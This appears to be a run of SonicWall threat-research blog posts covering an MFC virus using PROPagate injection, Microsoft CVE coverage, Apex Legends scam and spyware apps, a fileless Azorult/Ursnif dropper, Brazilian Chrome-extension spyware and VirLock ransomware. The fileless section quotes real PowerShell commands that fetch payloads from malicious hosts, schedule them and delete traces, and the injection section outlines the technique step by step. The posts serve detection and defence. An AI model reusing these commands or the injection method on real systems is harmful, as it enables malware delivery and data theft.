MFC Virus uses PROPagate Injection

Overview:

SonicWall Capture Labs Threat Research Team discovered another generic MFC Virus which is capable of copying itself and has a detrimental effect on the system it’s executed on by corrupting the system and destroying the data saved on your hard disk. The sample is written in MFC using C++ and uses the new PROPagate Injection technique to infect other processes running on the system.

The Virus has the following network information:

  • www.ezdun.com
  • 180.101.75.58

The virus scans the hard drive in search for “League of Legends” account details. If none exist the virus will keep copying itself and re-executing itself over and over until the hard-drive is completely full. During each iteration the processor will reach 100%. Meaning, you will not be able to use the computer while the copying process is in effect.

Sample Static Information:

Being that this Virus copies itself and executes over and over.
The static hashes for this file will continuously change for each iteration the sample copies itself.

Entropy, Compiler and Packer:

The sample is packed with in-line function VMProtect snippets of code:

This will give a lower entropy as the whole file isn’t virtualized.
However, someone will still be able to see 90% of the code base in Ida Pro.

Encryption Used:

The following crypto signatures usually means the sample is linked with a few different libraries like OpenSSL.
In this case the sample is linked with the libraries, deflate 1.1.3 and inflate 1.1.3 among others like libpng 1.6.9.
When this happens you will see a variety of encryption signatures inside KANAL:

There is also a variety of xor encryption throughout the sample as seen below:

Injection & Hooking Technique:

When the Windows SetWindowSubclass API is called it uses the Windows SetProp API to set one of the following structure members (UxSubclassInfo, or CC32SubclassInfo) to point to an area in memory. When the new message routine is called, it will then call the Windows GetProp API for the given window and once the function pointer is retrieved the memory area will be executed.

When it comes to the process at the lower of equal integrity level the Microsoft documentation states:

  • SetProp is subject to the restrictions of User Interface Privilege Isolation (UIPI). A process can only call this function on a window belonging to a process of lesser or equal integrity level. When UIPI blocks property changes, GetLastError will return 5.

There are plenty of processes that we can choose from to modify their window property!
Using the technique described above we can freely modify the property of a window belonging to another process.

All we need is a structure that UxSubclassInfo/CC32SubclassInfo properties are using. This is actually pretty easy – you can check what SetProp is doing for these subclassed windows. You will quickly realize that the procedure is stored at the offset 0x14 from the beginning of that memory region (the structure is a bit more complex as it may contain a number of callbacks, but the first one is at 0x14).

So, injecting a small buffer into a target process, ensuring the expected structure is properly filled-in and and pointing to the payload and then changing the respective window property will ensure the payload is executed next time the message is received by the window (this can be enforced by sending a message).

1st Part:

2nd Part:

3rd Part:

4th Part:

INI Configuration:

Sample Testing System:

Windows 7 Professional x86 32-bit

SonicWall Gateway AntiVirus, provides protection against this threat:

  • GAV: MalAgent.H_11825 (Trojan)
  • GAV: MalAgent.J_58357 (Trojan)
  • GAV:Neshta.A_68 (Virus)

Microsoft Security Bulletin Coverage for March 2019

SonicWall Capture Labs Threat Research Team has analyzed and addressed Microsoft’s security advisories for the month of March 2019. A list of issues reported, along with SonicWall coverage information are as follows:

CVE-2019-0592 Chakra Scripting Engine Memory Corruption Vulnerability
IPS14081:Chakra Scripting Engine Memory Corruption Vulnerability (Mar 19)
CVE-2019-0603 Windows Deployment Services TFTP Server Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0609 Scripting Engine Memory Corruption Vulnerability
IPS14083:Scripting Engine Memory Corruption Vulnerability (Mar 19) 4
CVE-2019-0611 Chakra Scripting Engine Memory Corruption Vulnerability
There are no known exploits in the wild.
CVE-2019-0612 Microsoft Edge Security Feature Bypass Vulnerability
IPS14084:Microsoft Edge Security Feature Bypass Vulnerability (Mar 19)
CVE-2019-0614 Windows GDI Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0617 Jet Database Engine Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0639 Scripting Engine Memory Corruption Vulnerability
IPS14085:Scripting Engine Memory Corruption Vulnerability (Mar 19) 5
CVE-2019-0665 Windows VBScript Engine Remote Code Execution Vulnerability
IPS14086:Windows VBScript Engine Remote Code Execution Vulnerability (Mar 19) 1
CVE-2019-0666 Windows VBScript Engine Remote Code Execution Vulnerability
IPS14087:Windows VBScript Engine Remote Code Execution Vulnerability (Mar 19) 2
CVE-2019-0667 Windows VBScript Engine Remote Code Execution Vulnerability
IPS14088:Windows VBScript Engine Remote Code Execution Vulnerability (Mar 19) 3
CVE-2019-0678 Microsoft Edge Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0680 Scripting Engine Memory Corruption Vulnerability
IPS14078:Scripting Engine Memory Corruption Vulnerability (MAR 19) 4
CVE-2019-0682 Windows Subsystem for Linux Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0683 Active Directory Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0689 Windows Subsystem for Linux Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0690 Windows Hyper-V Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2019-0692 Windows Subsystem for Linux Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0693 Windows Subsystem for Linux Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0694 Windows Subsystem for Linux Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0695 Windows Hyper-V Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2019-0696 Windows Kernel Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0697 Windows DHCP Client Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0698 Windows DHCP Client Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0701 Windows Hyper-V Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2019-0702 Windows Kernel Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0703 Windows SMB Information Disclosure Vulnerability
IPS14082:Windows SMB Information Disclosure (MAR 19) 1
CVE-2019-0704 Windows SMB Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0726 Windows DHCP Client Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0746 Chakra Scripting Engine Memory Corruption Vulnerability
There are no known exploits in the wild.
CVE-2019-0748 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0754 Windows Denial of Service Vulnerability
There are no known exploits in the wild.
CVE-2019-0755 Windows Kernel Information Disclosure Vulnerability
ASPY5429:Malformed-File exe.MP.59
CVE-2019-0756 MS XML Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0757 NuGet Package Manager Tampering Vulnerability
There are no known exploits in the wild.
CVE-2019-0759 Windows Print Spooler Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0761 Internet Explorer Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2019-0762 Microsoft Browsers Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2019-0763 Internet Explorer Memory Corruption Vulnerability
IPS14080:Internet Explorer Memory Corruption Vulnerability (MAR 19) 1
CVE-2019-0765 Comctl32 Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0766 Microsoft Windows Elevation of Privilege Vulnerability
There are no known exploits in the wild.
CVE-2019-0767 Windows Kernel Information Disclosure Vulnerability
ASPY5430:Malformed-File exe.MP.60
CVE-2019-0768 Internet Explorer Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2019-0769 Scripting Engine Memory Corruption Vulnerability
IPS14079:Scripting Engine Memory Corruption Vulnerability (MAR 19) 5
CVE-2019-0770 Scripting Engine Memory Corruption Vulnerability
IPS14075:Scripting Engine Memory Corruption Vulnerability (Mar 19) 1
CVE-2019-0771 Scripting Engine Memory Corruption Vulnerability
IPS14076:Scripting Engine Memory Corruption Vulnerability (Mar 19) 2
CVE-2019-0772 Windows VBScript Engine Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0773 Scripting Engine Memory Corruption Vulnerability
IPS14077:Scripting Engine Memory Corruption Vulnerability (Mar 19) 3
CVE-2019-0774 Windows GDI Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0775 Windows Kernel Information Disclosure Vulnerability
ASPY5431:Malformed-File exe.MP.61
CVE-2019-0776 Win32k Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0777 Team Foundation Server Cross-site Scripting Vulnerability
There are no known exploits in the wild.
CVE-2019-0778 Microsoft Office SharePoint XSS Vulnerability
There are no known exploits in the wild.
CVE-2019-0779 Microsoft Edge Memory Corruption Vulnerability
There are no known exploits in the wild.
CVE-2019-0780 Microsoft Browser Memory Corruption Vulnerability
There are no known exploits in the wild.
CVE-2019-0782 Windows Kernel Information Disclosure Vulnerability
There are no known exploits in the wild.
CVE-2019-0783 Scripting Engine Memory Corruption Vulnerability
There are no known exploits in the wild.
CVE-2019-0784 Windows ActiveX Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0797 Win32k Elevation of Privilege Vulnerability
ASPY5432:Malformed-File exe.MP.62
CVE-2019-0798 Skype for Business and Lync Spoofing Vulnerability
There are no known exploits in the wild.
CVE-2019-0808 Win32k Elevation of Privilege Vulnerability
ASPY5433:Malformed-File dll.MP.3
CVE-2019-0809 Visual Studio Remote Code Execution Vulnerability
There are no known exploits in the wild.
CVE-2019-0816 Azure SSH Keypairs Security Feature Bypass Vulnerability
There are no known exploits in the wild.
CVE-2019-0821 Windows SMB Information Disclosure Vulnerability
There are no known exploits in the wild.

Apex Legends for Android – Spyware, Adware, Verification Scams and more

Fortnite was the gaming phenomenon of 2018, we used the word “was” because another title has replaced Fortnite as the new champion – Apex Legends. This game has been raking up the numbers in terms of popularity and the sheer amount of people playing this game at the same time. But in the security world – fame usually lead to scams surrounding the commodity.

YouTube, websites and now Android are being bombarded with scams that surround the name – Apex Legends – with the sole purpose of making this the new Trojan Horse which would deliver malicious content to unsuspecting victims.

SonicWall Threats Research Team has been observing a number of scams for Apex Legends since its launch and below are few highlights of these findings:

YouTube scams

There are a number of Youtube videos that claim Apex Legends can be installed on Android and IOS devices but in reality they just lure victims into clicking suspicious links. These links are usually suspicious phishing pages which duplicate the look and feel of Apex Legends website by using similar/same assets.

Once the victim visits this page he is asked to perform an action, this action varies based on the scam. Below are three examples of what we usually observe in a YouTube scam for such popular games:

  • Victim get redirected to Fake survey pages after opening the link given in the Youtube video:

  • Victim has to share a post on Facebook and only then can he unlock the download page (which leads to a survey page)

 

  • Victim downloads an apk but the apk is not the game but is something else (verification scam in this case, we will touch more on this later in the blog):

Android scams

The Android ecosystem is no stranger to game-based scams, last year we saw a number of scams for Fortnite which were covered in our blog. We are now observing similar scams for Apex Legends as well.

Verifiation based scams

Verification based scams are prevalent on the Android ecosystem as well. For instance, lets look at an Android apk with the application name Apex Legends – MD5: 2620c79372d30f99a667854ff8f3d52a Package name: com.bo4mobi. We see the Apex Legends icon after installation and screens similar to the original game after the app gets executed:

After a short delay as soon as we feel that the game is about to start we see the dreaded “verification required” screen. Upon clicking the OK button we are redirected to a website that asks us to install few apps before the game gets unlocked (which never happens):

The domain we were redirected to was – verifycaptcha.com – and upon doing some VT investigations we found many other gaming related apps linked to this domain hinting towards similar verification scams for other games as well:

Adware

We came across a sample named Apex Legends – MD5: 057eb20bab154b67f0640bc48e3db59a and Package name: com.mt.gb.hd that shows the icon of an Apex Legends character post installation:

Upon execution we see a message on the screen stating that we need to click an advertisement to proceed further. To get this message, the app contacted a domain h[xx]ps://rebrand.ly/a3c72 which later redirected to h[xx]ps://lukasschneider.info/893489345242042540259002.html that contains a Base64 encoded line . This line was extracted, decoded and displayed on the screen:

Once the time runs out an advertisement is displayed and according to the author after clicking the advertisement the victim can play Apex Legends. However to his benefit the victim just gets redirected to the advertisement and ends up making ad-money for the author:

Even though this app is not malicious in itself it does mislead the user and ends up making money for the author via advertisements.

Spyware

We observed a sample named Apex Legends – MD5: 253489a49d14719a4c29dc0f5e9f9c79 and Package name: yps.eton.application – it shows a different yet believable icon after installation:

Upon execution we are shown the accessibility screen with an entry for Apex Legends. Usually when a malware wants the victim to grant such privileges it comes up with a fake yet somewhat believable story to convince the user to do so. But in this case perhaps the story part did not work for us during our analysis. Same goes for device administrator privileges:

Code examination of the sample reveals that this sample is actually a potent Spyware which has been around for a while. Few key capabilities of this Spyware are as follows:

  • This spyware can extract sensitive information from the device:
    • Device information – Model, brand, serial number and more
    • Information about the SIM – serial number, country name, phone number
    • Contacts information
    • Call Logs
    • SMS present on the device
    • View pictures on the device
    • Find location related data from the device
  • The spyware can perform a number of functions on the device which an Android spyware typically performs:
    • Make phone calls
    • Record audio
    • Send SMS
    • Take photos from the camera
    • Record videos from the camera
    • Record keystrokes (keylogger)
    • Check if the device is rooted
    • Start the spyware each time the device reboots

Few snippets from the code:

Upon further investigations we saw this package name being mentioned in a forum where people were discussing about the workings of an Android RAT named SpyNote.

Miscellaneous scams

On a lighter note there is a website h[xx]p://cbldc.io/4efe9a5 that claims to generate coins for Apex Legends – which is an in-game currency used to purchase cosmetic upgrades:

This site constantly shows updates of users generating coins on the right side. If we look at the code of this page and search for the usernames, we can see a list of those that appear on the website. The site simply goes through this list and shows us a fake update:

Same goes for the chat shown on the website:

We tried generating coins for ourselves using a fake username:

As expected it led us to a fake survey link:

See what sticks

Throughout our analysis we observed that a developer for an Apex Legends fake app also has fake apps for a number of different popular applications. This helps us understand the mindset of some of the malware writers. They try to re-package their creations to look like popular applications in an effort to increase the chances of their infections. Basically – throw everything at the wall and see what sticks.

Below screenshot shows popular apps with same package name for different types of scams, adware and spyware:

Overall this post was a round-up of popular scams related to Apex Legends. The popularity of this game is being misused by malware writers to further their objectives. We urge our readers to be vigilant of apps that make use of the name Apex Legends or the next popular thing after this game.

SonicWall Capture Labs provides protection against this threat via the following Gateway Antivirus signatures:

  • GAV: AndroidOS.Verification.PG (Trojan)
  • GAV: AndroidOS.SpyNote.SP (Trojan)
  • GAV: AndroidOS.AdwareDec.AL (Trojan)

Indicators of Compromise (IOC’s):

  • Verification Scam:
    • 4e37fe6a140b64a281e2ea08b2c116f0
    • fda53ffbb28aaf4516648df9ed81d594
    • 2620c79372d30f99a667854ff8f3d52a
    • 42c363c841733e4291fe2ed805ed83fe
  • Spyware
    • 22649508c8056351c6ad3a760c39ba39
    • 3b452e48a4e34e1749daff64a9f32103
    • c50ba073c878602a9d1341db2909aa76
    • 31672c86ecc67b9875a863bcb393b203
    • fd1af1966792aff23856a6cf58db38b2
    • 0c16c0bf123a9dfa2e89893d603bdd3b
  • Adware
    • 057eb20bab154b67f0640bc48e3db59a
    • cda19546d0c5c9a642ae92dddd43b938
    • e36048b30d59a8bf84d603c3b4db666c
    • 8288d80125fd1bb8ab86db362f55417a

 

SonicWall Now a California Multiple Award Schedule (CMAS) Vendor

SonicWall has received the California Multiple Award Schedule (CMAS) and is now a CMAS vendor in the state of California.

What is CMAS?

The California Multiple Award Schedule (CMAS) allows state agencies and local governments to streamline purchasing and ensure the payment of appropriate prices for information technology and non-information technology products and services.

The program is a part of the State of California Department of General Services Procurement Division. Vendors among the CMAS Unit have the capability of offering goods and services that have been competitively bid and awarded on a Federal General Services Administration (GSA) Schedule. The GSA is an independent agency of the United States government established in 1949 to help manage and support the basic functioning of federal agencies.

“SonicWall is dedicated to providing our partners every available competitive advantage during the selling process and reduce obstacles they may face,” said SonicWall general manager John Mullen, who oversees the company’s State, Local, Education (SLED) initiatives. “We look forward to working with them as a CMAS contractor to bring proven cyber security defenses to California’s highly depended upon state and local agencies that provide a range of services to the community.”

Being awarded CMAS means SonicWall has even more of an opportunity to support K-12 education through the use of the E-rate program.

What is the E-rate program?

Who Can Use CMAS?

Educational institutions in the state of California in the following categories are eligible for CMAS products or services.

  • K-12 public schools in California
  • Community colleges that spend public funds
  • California State University and University of California systems
  • State agencies
  • Any city, county or district

E-rate is a U.S. federal program that funds technology in schools and libraries. Many SonicWall network security products and services can be purchased by school districts and libraries through E-rate funding.

Many SonicWall network security products and services — including firewalls, high-speed wireless, and content filtering — can be purchased by school districts and libraries through E-rate funding, a Federal program funding technology in schools and libraries.

Leveraging the E-rate program enables cost savings which can help your district better comply with CIPA while safeguarding students, faculty, staff, data, and applications with state-of-the-art network security technology from SonicWall.

For more information, or to inquire about SonicWall solutions under the CMAS program, please contact John Mullen (jmullen@sonicwall.com) or Holly Davis (holly@komplement.us).

Save Money with E-rate Funding

If you are utilizing E-rate funding to assist you in buying your networking and cyber security solutions, SonicWall can help. Talk to our team of E-rate funding experts who can ensure your SonicWall solution aligns with the rules and regulations of the E-Rate program.

Malware uses Built-in Windows Applications to carry out a Fileless Attack

Over the past few years, the SonicWALL Capture Labs Threat Research team has observed an increase in malware attacks that use legitimate Windows tools to carry out its malicious activities. Malware authors have been leveraging command line applications using batch files, VBScript, document macros or powershell coupled with parameters that allow them to execute without a command prompt window popping up. This allows them to leave no trace of its existence behind and avoid detection by traditional antivirus software.

This week, we have observed another malware attack which carries out its entire infection cycle virtually fileless. It starts as a batch file, which then runs a powershell script via the command prompt to download and install malware, which deletes itself after execution.

 

Infection Cycle:

The malware arrives through spam. It arrives as a batch file within an archive as an email attachment and may use the following filenames:

  • PT.<random numbers>.bat
  • US.<random numbers>.bat
  • DHL_consignment.bat
  • AWD<random numbers>.bat

Upon execution it spawns command prompt in the background to execute powershell commands to download a copy of itself which is then registered as a scheduled task to run every 2 days.

Powershell.exe (new-object system.net.webclient).downloadfile('http://brandin.nu/photo/123.php', '%appdata%\up.txt')
expand %appdata%\up.txt %appdata%\up.bat
schtasks /create /tn "up" /tr %appdata%\up.bat /sc daily /mo 2

It then downloads malware from a hardcoded URL. This malware, identified as Azorult Trojan, is then renamed to “inspet.exe”which, executes and then deletes itself.

PowerShell.exe  (new-object system.net.webclient).downloadfile('http://tailongreducer.com/install/p5.php', '%USERS%\AppData\Roaming\gmail.cab')
expand %appdata%\gmail.cab %appdata%\inspet.exe
Set ApplicationPath=%appdata%\inspet.exe

"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "inspet.exe"

Azorult is a Trojan that harvests data from a compromised machine and thus was seen sending encrypted data to a remote server.

Simultaneously another Trojan – Ursnif was also downloaded, which similarly executes and deletes itself, leaving no trace of infection. Ursnif is another information stealing Trojan which sends out data to a remote server.

"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "repox.exe"

Meanwhile, Internet explorer is launched to open a benign legitimate pdf file from DHL website to further conceal all the malicious activities happening in the background.

start iexplore http://www.dhl.com/content/dam/downloads/g0/express/services/surcharges/dhl_express_remote_areas.pdf

 

This type of malware attack has become commonplace as malware authors become more creative in evading detection. In fact, AV detection remains low in Virustotal for this particular malware.

This threat was proactively detected by Capture ATP with RTDMI. Additionally, SonicWall Capture Labs provides protection against this threat via the following Gateway Antivirus signatures:

  • GAV: Ursnif.EP (Trojan)
  • GAV: Ursnif.A_197 (Trojan)
  • GAV: Downloader.BAT_3 (Trojan)
  • GAV: Downloader.BAT_2 (Trojan)
  • GAV: Azorult.A (Trojan)

 

 

Cyber Security News & Trends

This week, SonicWall protects against the newest Intel chip vulnerability, millions more records are found unprotected online and Google Chrome has a serious security flaw.


SonicWall Spotlight

SonicWall Extends SMB Cybersecurity Ambitions – Security Boulevard

  • SonicWall’s Dmitriy Ayrapetov provides insight into SonicWall’s newest product releases, where SonicWall is heading and the benefits of unifying cybersecurity systems.

SonicWall Aims at Evasive Cyber Threats Targeting Wireless Networks, Cloud Apps, Endpoints – CRN (India)

  • CRN India review the new SonicWall releases in detail and Jeff Wilson, Senior Research Director at IHS Markit, highlights the need for cloud protection as provided by SonicWall Cloud App Security 2.0.

Cyber Security News

‘Spoiler’ Flaw in Intel CPUs is Similar to Spectre – Yet Dangerously Different – Tech Radar

  • A new Intel chip vulnerability dubbed ‘Spoiler’ is similar to the Spectre flaw that allows an attacker to exploit the way PC memory works. Attackers using the flaw can, amongst other things, view data from running programs which should otherwise not be accessible. SonicWall RTDMI identifies and blocks this threat.

Google Confirms Serious Chrome Security Problem – Here’s How to Fix It – Forbes

  • Google issues an urgent update warning for all Chrome users after a zero-day vulnerability was discovered being exploited in the wild.

An Email Marketing Company Left 809 Million Records Exposed Online – Wired (UK)

  • Researchers found over 150 gigabytes of detailed private data, including hundreds of millions of unique email addresses and personal social media accounts, easily accessible online after an “email verification” company left the records exposed.

Project Zero Discloses High-Severity Apple macOS Flaw – Threat Post

  • Google Project Zero researchers detail a new high-severity macOS flaw after Apple failed to patch it by the 90-day disclosure deadline.

A CEO Cheat Sheet for the Cybersecurity Big One – Forbes

  • Warren Buffet calls it “The Big One” – it’s the worst-case cybersecurity scenario for a company. Forbes provide a CEO cheat sheet with tips on how to prepare for it.

Cyberattack Planning Is Still Depressingly Poor, Even in Big Businesses – ZDNet (UK)

  • A report by the British government has found that while most companies have some kind of cybersecurity strategy in place, many have not tested it, or fail to fully understand the threats faced.

After the Breach: Six Key Actions to Take – IT Pro Portal

  • Contain, Identify, Determine, Announce, Offer, and Make Sure it doesn’t happen again – IT Pro Portal detail six steps a company must follow if they suffer a data breach.

Ransomware Warning: The Gang Behind This Virulent Malware Just Changed Tactics Again – ZDNet (UK)

  • The gang behind the GandCrab ransomware, who sell it through a Ransomware “as-a-service” model, are under constant cybersecurity scrutiny and continue to change tactics. Instead of targeting small networks they are now advertising to those who want to go after larger targets for a bigger payday.

In Case You Missed It

New Spoiler Side-Channel Attack Threatens Processors, Mitigated by SonicWall RTDMI

Spoiler is the latest side-channel attack threatening Intel processors.

Research from the Worcester Polytechnic Institute in Worcester, Mass., and the University of Lübeck in Germany, identifies a new Spectre-like attack. The group’s paper, “SPOILER: Speculative Load Hazards Boost Rowhammer and Cache Attacks,” proposes the new side-channel Spoiler attack, which could exploit a “previously unknown microarchitectural leakage stemming from the false dependency hazards during speculative load operations.”

As a result, Spoiler also enhances the effectiveness of other side-channel attacks, namely Rowhammer, and other cache-based attacks. The report notes that Spoiler only affects Intel Core processors and not current AMD and ARM processors.

“Intel received notice of this research, and we expect that software can be protected against such issues by employing side channel safe software development practices,” an Intel spokesperson told TechRadar. “This includes avoiding control flows that are dependent on the data of interest.”

The research group was quick to point out that while Spoiler is similar to Spectre, they aren’t the same and have very different ramifications, namely with how previous attacks take advantage of vulnerabilities in the speculative branch prediction unit and memory leaks in protected environments.

“Spoiler is not a Spectre attack,” the researchers published in their 17-page report. “The root cause for Spoiler is a weakness in the address speculation of Intel’s proprietary implementation of the memory subsystem, which directly leaks timing behavior due to physical address conflicts. Existing Spectre mitigations would therefore not interfere with Spoiler.”

SonicWall customers with active Capture Advanced Threat Protection (ATP) cloud sandbox subscriptions are protected from Spoiler exploits by SonicWall Real-Time Deep Memory Inspection.

Stop Spoiler Side-Channel Attacks with RTDMI

But SonicWall Real-Time Deep Memory InspectionTM isn’t a common mitigation solution. Like it does with Spectre, Meltdown, Foreshadow and PortSmash, SonicWall RTDMI can mitigate Spoiler attacks.

RTDMI provides CPU-level instruction detection granularity (unlike typical behavior-based systems, which have only API/system call-level granularity) to detect malware variants that contain exploit code targeting processor vulnerabilities, including Spoiler.

To discover packed malware code that has been compressed to avoid detection, the RTDMI engine allows the malware to reveal itself by unpacking its compressed code in memory in a secure sandbox environment. It sees what code sequences are found within and compares it to what it has already seen.

Identifying malicious code in memory is more precise than trying to differentiate between malware system behavior and clean program system behavior, which is an approach used by some other analysis techniques.

Besides being highly accurate, RTDMI also improves sample analysis time. Since it can detect malicious code or data in memory in real-time during execution, no malicious system behavior is necessary for detection. The presence of malicious code can be identified prior to any malicious behavior taking place, thereby rendering a quicker verdict.

RTDMI protection from Spoiler and other processor and side-channels attacks is included as a part of the SonicWall Capture Advanced Threat Protection (ATP) sandbox service. Current Capture ATP customers are protected from Spoiler exploits.

SonicWall RTDMI™ vs. Side-Channel Attacks

SonicWall President and CEO Bill Conner hosts CTO John Gmuender as they walk you through how SonicWall Real-Time Deep Memory Inspection (RTDMITM) technology mitigates today’s most dangerous chip-based and side-channel cyberattacks.

Spyware chrome extension campaign targeting on Brazil

SonicWall has been observing a campaign targeting Brazil, which involves a malicious PDF file. The attack begins when a user receives a malicious PDF file as an attachment with legitimate looking email.

Scripts are now very prominently being used by the attackers to deliver the final payload. In this particular campaign as well we see, script has been used in stages to deliver the payload which is a Spyware.

The spyware is installed into the victim’s system as a Google Chrome extension. Following image depicts the infection cycle:

Fig 1. Malware infection cycle

At the time of analysis, the malicious PDF file is not detected by any of the AV vendors which indicates the effectiveness of RTDMI engine.

Fig 2. The PDF file detection in VirusTotal.

The malicious PDF file tries to lure the victim to download the next stage malicious file with text pretending to be an image file. To go unnoticed, a short URL “hxxp://bit.ly/2XfBhuA” which expands to  hxxps://www.dropbox.com/s/dl/5nepym179xr7ehz/Fotos%20L-nn-2002-0711.vbs.zip”, has been used in the PDF file as shown below:

Fig 3. Crafted PDF content.

On clicking the image, an archive file is downloaded into the victim’s system from the Google dropbox.

The downloaded archive contains a VBS script file, which when executed, connects to a C&C server (hxxp://desenvolveangar.info /?tgow=shuran&). The C&C server has put in a mechanism to identify whether a request is from a bot or an automated system. If a specific pattern is found in the HTTP request header “USER-AGENT: COOLDOWN”  and the data “Z”, then only the next stage malicious file (encoded to evade detection) is sent otherwise the request is served with an image file as shown below:

Fig 4. Malware using specific User-Agent and data

The below code snippet depicts how the reverse formatted script is decoded and executed: 

Analysis of the downloaded VBS script

The VBS script uses multiple components on the victims system to achieve its goal.

To avoid reinfection, the VBS script first checks, presence of a “125x” file in the “%UserProfile%” directory. Execution of the script is terminated, if the file is present. Otherwise, a file with the same name is created in the “%UserProfile%” directory and 6 Bytes data is written into the file as shown below:

Fig 5. “125x” file content

The script extensively uses sleep method, which could make the available sandboxing and emulation technologies futile. It uses Windows Management Instrumentation (WMI) framework to collect victim’s system information as shown in the table below:

Table 1. WMI queries and Objects used by the script

At present, it appears the malware has been written to target users from a specific country. This could be deduced from the fact that the stolen data is sent back to the C&C server if the Victim is from “Brazil”. Victim’s country is verified by checking the Country Code (“55” for Brazil).Table 1. WMI queries and Objects used by the script

Fig 6. System information sent to the C&C server

A batch script is then dropped in the filesystem and executed, which first deletes existing Google Chrome shortcuts and then creates malformed Google Chrome shortcuts to launch the malicious VBS script.

The batch script lowers the Web browser security by modifying the Internet Site zone settings. To remove traces of infection from the system, the script later deletes itself.

Code Snippet:

The malware now checks, presence of a file named “utg.zip” in the “%UserProfile%” directory. This archive file contains Chrome extension. To ensure updated Chrome extension is present on the victim’s system, it first deletes and later downloads the archive from the C&C server.

The malware continues with its data collection and other activities. It collects data like system’s manufacturer, model, network adapter configuration caption and description, which is later sent to the C&C Server as shown below:

Fig 7. C&C sends URL to download chrome extension

The malware receives command to stop execution by the C&C server, if it is running inside virtual environment. It achieves this by sending “bit” word in the response data. Otherwise, a final payload URL is sent back to the victim.

The malware uses a VBS code snippet from “hxxp://pastebin.com/raw/kXaRaqSu” to download the final payload which is an archive containing Chrome extension as shown below:

Fig 8. Code snippet from Pastebin.com

The malware checks presence of “%UserProfile%\Chrome\1.9.6\6.js” file inside the archive and notifies the C&C server if the file is found as shown below:

Fig 9. Archive contents (Chrome Extension)

A JSON based manifest file “manifest.json” which contains metadata about the extension is then modified by the malware as shown below:

Fig 10. Original and modified manifest.json file

Extension detail information

  • Manifest.json file

This manifest file contains metadata information regarding extension. Important fields of this manifest file are described below.

Table 2. Manifest.json file

  • JS file hash


Table 3. JS file names and there hash

Evidence of the detection by RTDMI engine can be seen below in the Capture ATP report for this file:

Fig 11. Capture ATP report snapshot

 

JPMorgan Chase NYSE: JPM, Paymentech, BitCoin Ransomware

Overview:

SonicWall Capture Labs Threat Research Team, recently found the VirLock, JPMorgan Chase Paymentech, BitCoin Ransomware active and floating around in 2019. VirLock, sometimes known as VirLocker or VirRansom is also known as metamorphic ransomware. The malware automatically reproduces its code base each time it propagates or is distributed to other active nodes on the network. Techniques used inside this malware include; Function reordering, Program flow modification, Varying lengths of NOP instructions, Useless instructions, Varying aspects of left and right shifting, OR-ing, and XOR-ing. It also uses a non-standard x86 intel instruction called RDTSC – Read Time-Stamp Counter for it’s pseudo-random value generator. VirLock, is considered both a Screen Locker and File Infector. Ransomware is usually either one or the other.

This is what makes VirLock special. It will add an infection stub and copy of itself to each file on your hard drive. This stub will get executed each time you double click on a new file. Meaning, you will always be infected with this malware. The only thing you can do is back up your files and have a recovery specialist retrieve your files for you. Then reinstall your Operating System on a new hard drive.

The payment processing used in this malware is called Paymentech. Paymentech is apart of the merchant services industry their product is based on the Payment Processing Services for small and large businesses to process payments, including credit cards, debit cards, alternative payments such as gift cards, and mobile payments. Paymentech is also known as (Merchant Services | Chase.com) with over $1 trillion in annual processing volume.

The following pictures describes the newer generation VirLock Ransomware. Once the infection is finished initializing and installing itself to multiple areas on your machine. It will show you the window labeled (Payment Tab). Within this window you will notice six tabs at the bottom. They are labeled, (Payment, BitCoin Information, BitCoin Exchanges, BitCoin ATMs, Internet Browser, and Notepad).

Payment Tab:

BitCoin Information Tab:

BitCoin Exchanges Tab:

BitCoin ATMs Tab:

Internet Browser Tab:

The normal IE from Microsoft will display when you click this tab.

Notepad Tab:

The normal notepad.exe from Microsoft will display once you click this tab.

Sample Static Information:

Many basic file attributes of the VirLock first stage can be seen in the following picture below:

Unpacking The Sample:

Using RDG, we can check if the sample is packed, protected, or encrypted. The entropy pie chart will give us a value between 0 and 8. The closer to 8 the value is. The more its considered 100% encrypted:

Using a well known PEiD plugin called KANAL we can check for crypto signatures. Being that the sample has an entropy of 7.62 we probably wont see anything in KANAL.:

Loading the sample into IDA Pro, we see the following:

The picture also shows you where in the PE File things are located. We can see by the picture the starting routine is located almost at the end of the file. This means our metamorphic stub starts at the end of the file.

We can see from the picture above, that the sample is packed by a custom crypter of some sort. We can gain more knowledge about what is going on with a few simple text searches in IDA Pro for strings like (xor, rol, ror) within IDA PRO:

our xor search

our ror search

our rol search

The search I like to do the most during the starting routine is searching for the word “call”

